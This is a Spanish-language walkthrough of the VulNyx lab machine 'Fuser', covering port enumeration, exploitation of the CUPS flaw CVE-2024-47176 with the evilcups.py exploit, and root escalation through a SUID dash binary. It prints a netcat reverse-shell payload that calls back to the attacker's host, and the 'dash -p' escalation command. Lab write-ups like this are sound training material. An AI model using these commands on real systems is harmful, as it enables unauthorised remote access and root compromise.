VulNyx | Fuser (Walkthrough)

d4t4s3c
4 min readNov 2, 2024

--

Fuser es una máquina Linux de dificultad baja de la plataforma VulNyx, creada por d4t4s3c y funciona correctamente en VirtualBox.

Skills:

  • CUPS (CVE-2024-47176)
  • Dash (SUID)

Nmap

❯ nmap -n -Pn -sS -p- --min-rate="5000" 192.168.1.59

Starting Nmap 7.94SVN ( nmap.org ) at 2024-11-02 08:33 CET
Nmap scan report for 192.168.1.59
Host is up (0.00015s latency).

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
631/tcp open ipp
❯ nmap -sVC -p22,80,631 192.168.1.59

Starting Nmap 7.94SVN ( nmap.org ) at 2024-11-02 08:34 CET
Nmap scan report for 192.168.1.59
Host is up (0.00084s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Site doesnt have a title (text/html).
631/tcp open ipp CUPS 2.3
|_http-server-header: CUPS/2.3 IPP/2.1
|_http-title: Inicio - CUPS 2.3.3op2
| http-robots.txt: 1 disallowed entry
|_/

Port: 80 (HTTP)

Fuzzing

❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.59 -x html,txt,php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.59
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,txt,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 187]
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
Progress: 882184 / 882188 (100.00%)
===============================================================
Finished
===============================================================

Port: 631 (CUPS)

Recientemente se han descubierto 4 CVEs para CUPS, hasta la fecha de hoy no han salido actualizaciones para mitigar la vulnerabilidad.

  • CVE-2024-47176: cups-browsed
  • CVE-2024-47076: libcupsfilters
  • CVE-2024-47175: libppd
  • CVE-2024-47177: cups-filters

Técnicamente la vulnerabilidad consiste en crear una nueva impresora con código malicioso, que posteriormente sera interpretado en el momento de hacer click en “Imprimir página de prueba”

Utilizamos el exploit de ippsec que te automatiza todo el proceso.

Lanzo el exploit y se puede observa que creo una nueva impresora

❯ nc -lvnp 443
❯ python3 evilcups.py 192.168.1.10 192.168.1.59 "nc 192.168.1.10 443 -e /bin/sh"
IPP Server Listening on ('192.168.1.10', 12345)
Sending udp packet to 192.168.1.59:631...
Please wait this normally takes 30 seconds...
0 elapsed
target connected, sending payload ...
31 elapsed

Hago click en la nueva impresora “HACKED_192_168_1_10” y después en “Imprimir página de prueba” para que interprete el código malicioso

Obtengo una shell como usuario lp

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.59] 48628
id ; hostname
uid=7(lp) gid=7(lp) grupos=7(lp)
fuser

Privilege Escalation

El usuario lp dispone de permisos SUID/4755 sobre el binario ash
(Puede ejecutar el binario temporalmente en el contexto del propietario)

lp@fuser:/$ find / -perm -4000 2>/dev/null

/usr/bin/dash
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1

En GTFOBins nos dan el oneliner para obtener una shell

https://gtfobins.github.io/gtfobins/dash/

Me convierto en usuario root abusando del privilegio

lp@fuser:/$ /usr/bin/dash -p
# bash -pi
bash-5.1# id ; hostname
uid=7(lp) gid=7(lp) euid=0(root) grupos=7(lp)
fuser

Ya como usuario root puedo leer las flags user.txt y root.txt

bash-5.1# find / -name user.txt -o -name root.txt |xargs cat
fe82ce45************************
523ac6c4************************

Hasta aquí la máquina Fuser.

Happy Hacking!

--

--

No responses yet